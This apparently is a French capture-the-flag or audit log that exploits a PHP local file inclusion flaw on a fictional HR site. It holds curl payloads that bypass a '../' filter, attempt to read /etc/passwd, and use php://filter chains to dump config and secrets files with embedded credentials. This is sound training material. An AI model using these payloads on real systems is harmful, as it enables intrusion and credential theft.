# ================================================================== # Session d'audit — LFI sur https://rh.helion-mutuelle.example # Code vulnérable : include($_GET['page'] . ".php"); # Filtres observés : str_replace('../','',$page) + suffixe ".php" ajouté # ================================================================== # --- Requête 1 : octet nul pour neutraliser le suffixe .php (reconnaissance) --- # Idée : ../../../../etc/passwd%00 -> le %00 tronquait jadis le ".php". $ curl -s "https://rh.helion-mutuelle.example/index.php?page=../../../../etc/passwd%00" Warning: include(): Invalid filename contains NUL byte in /var/www/html/index.php on line 7 Warning: include(): Failed opening 'etc/passwd.php' for inclusion in /var/www/html/index.php # -> ÉCHEC : les octets nuls sont refusés depuis PHP 5.3.4. Technique obsolète. # --- Requête 2 : inclusion directe de config.php (filtre ../ contourné par ....//) --- $ curl -s "https://rh.helion-mutuelle.example/index.php?page=....//....//....//var/www/private/config" # (réponse vide) -> le code PHP de config.php s'est EXÉCUTÉ, il n'est pas affiché. # On ne peut donc pas lire le source d'un .php par simple inclusion. # --- Requête 3 : lecture du SOURCE via php://filter (Base64) --- $ curl -s "https://rh.helion-mutuelle.example/index.php?page=php://filter/convert.base64-encode/resource=....//....//....//var/www/private/config" PD9waHAKLy8gY29uZmlnLnBocCDigJQgY29uZmlndXJhdGlvbiBpbnRlcm5lIChORSBQQVMgZXhwb3NlcikKLy8gUG9ydGFpbCBSSCDigJQgc29jacOpdMOpIGZpY3RpdmUgIkhlbGlvbiBNdXR1ZWxsZSIgKGhlbGlvbi1tdXR1ZWxsZS5leGFtcGxlKQoKZGVmaW5lKCdEQl9IT1NUJywgJzEwLjIwLjAuMTQnKTsKZGVmaW5lKCdEQl9OQU1FJywgJ2hlbGlvbl9yaCcpOwpkZWZpbmUoJ0RCX1VTRVInLCAncmhfYXBwJyk7CmRlZmluZSgnREJfUEFTUycsICdUcjB1YjRkb3VyLWhlbGlvbi0yMDI2Jyk7ICAgLy8gaWRlbnRpZmlhbnRzIGZpY3RpZnMKCi8vIExlcyBzZWNyZXRzIGQnYXVkaXQgc29udCBjaGFyZ8OpcyBkZXB1aXMgdW4gZmljaGllciBzw6lwYXLDqS4KcmVxdWlyZSBfX0RJUl9fIC4gJy9zZWNyZXRzLnBocCc7CgokTUFJTlRFTkFOQ0UgPSBmYWxzZTsKPz4K # -> décodé en Base64 : c'est le source de config.php. Pas de flag ici, # mais on y lit require __DIR__ . '/secrets.php'; (le secret est là-bas). # --- Requête 4 : secrets.php via une CHAÎNE de filtres (ROT13 puis Base64) --- $ curl -s "https://rh.helion-mutuelle.example/index.php?page=php://filter/string.rot13|convert.base64-encode/resource=....//....//....//var/www/private/secrets" PD9jdWMKLy8gZnJwZXJnZi5jdWMg4oCUIGZycGVyZ2YgcSduaHF2ZyAodWJlZiBuZW9iZXJmcHJhcHIganJvIHJhIGd1w6liZXZyKQovLyBQdW5ldMOpIGNuZSBwYmFzdnQuY3VjIGl2biBlcmRodmVyLgoKcXJzdmFyKCdOSFFWR19TWU5UJywgJ1BGTnt5czFfcHU0MWFfZDhtNn0nKTsKcXJzdmFyKCdOSFFWR19GTllHJywgJ3MzbjktdXJ5dmJhLW5ocXZnJyk7CgovLyBFYmduZ3ZiYSBjZcOpaWhyIG5oIGNlYnB1bnZhIGdldnpyZmdlci4KPz4K # (fin de réponse)